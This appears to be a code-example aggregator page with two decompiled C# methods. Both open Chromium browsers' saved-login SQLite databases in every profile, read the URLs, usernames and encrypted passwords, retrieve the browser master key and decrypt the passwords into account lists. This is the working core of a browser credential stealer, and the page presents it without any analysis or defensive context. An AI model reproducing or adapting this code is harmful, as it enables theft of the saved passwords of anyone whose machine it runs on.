Esempio n. 1
0
        // Token: 0x0600025C RID: 604 RVA: 0x00012204 File Offset: 0x00010404
        private static List <Account> smethod_0(string string_0, string string_1, string string_2 = "logins")
        {
            List <string>  list  = Chromium.smethod_1(string_0);
            List <Account> list2 = new List <Account>();

            foreach (string text in list.ToArray())
            {
                if (File.Exists(text))
                {
                    SQLiteHandler sqliteHandler;
                    try
                    {
                        sqliteHandler = new SQLiteHandler(text);
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                        goto IL_177;
                    }
                    if (sqliteHandler.ReadTable(string_2))
                    {
                        for (int num = 0; num <= sqliteHandler.GetRowCount() - 1; num++)
                        {
                            try
                            {
                                string value  = sqliteHandler.GetValue(num, "origin_url");
                                string value2 = sqliteHandler.GetValue(num, "username_value");
                                string text2  = sqliteHandler.GetValue(num, "password_value");
                                if (text2 != null)
                                {
                                    if (text2.StartsWith("v10") || text2.StartsWith("v11"))
                                    {
                                        byte[] masterKey = Chromium.GetMasterKey(Directory.GetParent(text).Parent.FullName);
                                        if (masterKey == null)
                                        {
                                            goto IL_180;
                                        }
                                        text2 = Chromium.DecryptWithKey(Encoding.Default.GetBytes(text2), masterKey);
                                    }
                                    else
                                    {
                                        text2 = Chromium.Decrypt(text2);
                                    }
                                    if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(text2))
                                    {
                                        list2.Add(new Account
                                        {
                                            URL         = value,
                                            UserName    = value2,
                                            Password    = text2,
                                            Application = string_1
                                        });
                                    }
                                    goto IL_180;
                                }
                                goto IL_180;
                            }
                            catch (Exception ex2)
                            {
                                Console.WriteLine(ex2.ToString());
                                goto IL_180;
                            }
                            break;
                            IL_180 :;
                        }
                    }
                }
                IL_177 :;
            }
            return(list2);
        }
Esempio n. 2
0
        // Token: 0x0600001D RID: 29 RVA: 0x0000290C File Offset: 0x00000B0C
        private static List <Account> Accounts(string path, string browser, string table = "logins")
        {
            List <string>  allProfiles = Chromium.GetAllProfiles(path);
            List <Account> list        = new List <Account>();

            foreach (string text in allProfiles.ToArray())
            {
                bool flag = !File.Exists(text);
                if (!flag)
                {
                    classSQLiteHandler sqliteHandler;
                    try
                    {
                        sqliteHandler = new classSQLiteHandler(text);
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                        goto IL_1B4;
                    }
                    bool flag2 = !sqliteHandler.ReadTable(table);
                    if (!flag2)
                    {
                        int j = 0;
                        while (j <= sqliteHandler.GetRowCount() - 1)
                        {
                            try
                            {
                                string value  = sqliteHandler.GetValue(j, "origin_url");
                                string value2 = sqliteHandler.GetValue(j, "username_value");
                                string text2  = sqliteHandler.GetValue(j, "password_value");
                                bool   flag3  = text2 != null;
                                if (flag3)
                                {
                                    bool flag4 = text2.StartsWith("v10") || text2.StartsWith("v11");
                                    if (flag4)
                                    {
                                        byte[] masterKey = Chromium.GetMasterKey(Directory.GetParent(text).Parent.FullName);
                                        bool   flag5     = masterKey == null;
                                        if (flag5)
                                        {
                                            goto IL_194;
                                        }
                                        text2 = Chromium.DecryptWithKey(Encoding.Default.GetBytes(text2), masterKey);
                                    }
                                    else
                                    {
                                        text2 = Chromium.Decrypt(text2);
                                    }
                                    bool flag6 = !string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(text2);
                                    if (flag6)
                                    {
                                        list.Add(new Account
                                        {
                                            URL         = value,
                                            UserName    = value2,
                                            Password    = text2,
                                            Application = browser
                                        });
                                    }
                                }
                            }
                            catch (Exception ex2)
                            {
                                Console.WriteLine(ex2.ToString());
                            }
IL_194:
                            j++;
                            continue;
                            goto IL_194;
                        }
                    }
                }
                IL_1B4 :;
            }
            return(list);
        }